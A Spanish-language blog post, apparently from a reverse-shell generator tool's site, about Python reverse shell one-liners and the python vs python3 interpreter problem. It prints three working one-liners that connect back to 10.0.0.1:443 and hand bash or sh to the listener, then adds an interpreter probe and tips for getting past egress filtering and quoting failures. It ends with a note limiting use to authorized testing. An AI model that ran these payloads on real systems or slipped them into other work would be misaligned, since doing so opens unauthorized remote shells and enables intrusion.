Reverse shell en Python: one-liners que sobreviven a python vs python3
Cómo funciona el one-liner de reverse shell en python con socket y pty, por qué la división python/python3 rompe los payloads y una alternativa agnóstica a la versión.
Python es la opción de reverse shell más portable en Linux, porque si una máquina hace algo más que lo mínimo imprescindible, lo normal es que tenga un intérprete de Python. El inconveniente es la división entre python y python3, que mata silenciosamente más payloads que cualquier firewall. Esta entrada explica el one-liner estándar, por qué funciona y cómo hacer que se ejecute independientemente del intérprete que exista.
El one-liner estándar
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
Descifrado:
socket.socket(...)seguido des.connect((host, port))abre una conexión TCP de vuelta a tu listener.os.dup2(s.fileno(), 0/1/2)es el corazón del asunto: duplica el socket sobre los descriptores de fichero 0, 1 y 2 (stdin, stdout, stderr). Tras esto, todo lo que la shell lea o escriba viaja por la red.pty.spawn("/bin/bash")lanza bash asociado a esos descriptores. Y lo más importante,pty.spawnte da un pseudoterminal, así que arrancas con una shell mucho más usable que el truco crudo de/dev/tcpde bash: el control de trabajos y los programas interactivos se comportan.
Esa mejora con pty es la razón por la que muchos pentesters prefieren el payload de python como primera shell: aterriza más cerca de una TTY real. Aun así quizá quieras mejorarla del todo (consulta mejorar un reverse shell), pero partes con ventaja.
La trampa de python vs python3
Durante años python significaba Python 2. En la mayoría de los sistemas actuales python o significa Python 3 o no existe en absoluto: solo existe python3. Por tanto:
- Un payload que invoca
pythonfalla en un host que solo tienepython3. - Un payload que invoca
python3falla en un host antiguo que solo traepython(Python 2).
El one-liner de arriba es válido tanto en Python 2 como en 3, así que la única variable es el nombre del intérprete. Cuando no sabes qué tiene el objetivo, sondea primero o usa una invocación agnóstica a la versión:
(command -v python3 || command -v python) | head -1
Después invoca el que te indique. Un generador de reverse shell te permite alternar entre python y python3 sin reescribir el payload, que es la forma rápida de manejar un objetivo desconocido.
Una variante más corta sin pty
Si pty no está disponible o solo quieres la salida, la forma mínima prescinde del terminal:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'
Y la versión verdaderamente reducida que usa solo subprocess (sin TTY interactiva, buena para ejecución a ciegas):
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("10.0.0.1",443));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
Cuando no conecta
- Nombre del intérprete equivocado: la causa número uno. Confirma
pythonfrente apython3. - Entrecomillado: el payload va envuelto en comillas simples; si pasa por otra capa también con comillas simples (un parámetro web, un campo YAML), el entrecomillado se colapsa. Consulta entrecomillado de payloads.
- Filtrado de salida: prefiere
443/80. - Desajuste del listener: confirma tu listener con cómo elegir un listener.
La lista de comprobación completa está en por qué fallan los reverse shells.
Genera un payload acorde a la versión
El generador de reverse shell produce el reverse shell de python para el intérprete y la shell que selecciones, prerrellenado con tu LHOST/LPORT y emparejado con el listener correcto, de modo que el error de python/python3 nunca llega al objetivo.
Solo pruebas autorizadas
Usa estos payloads exclusivamente contra sistemas que poseas o estés explícitamente autorizado a probar. El código es el mismo en un laboratorio y en el mundo real; el permiso es lo que lo hace legítimo.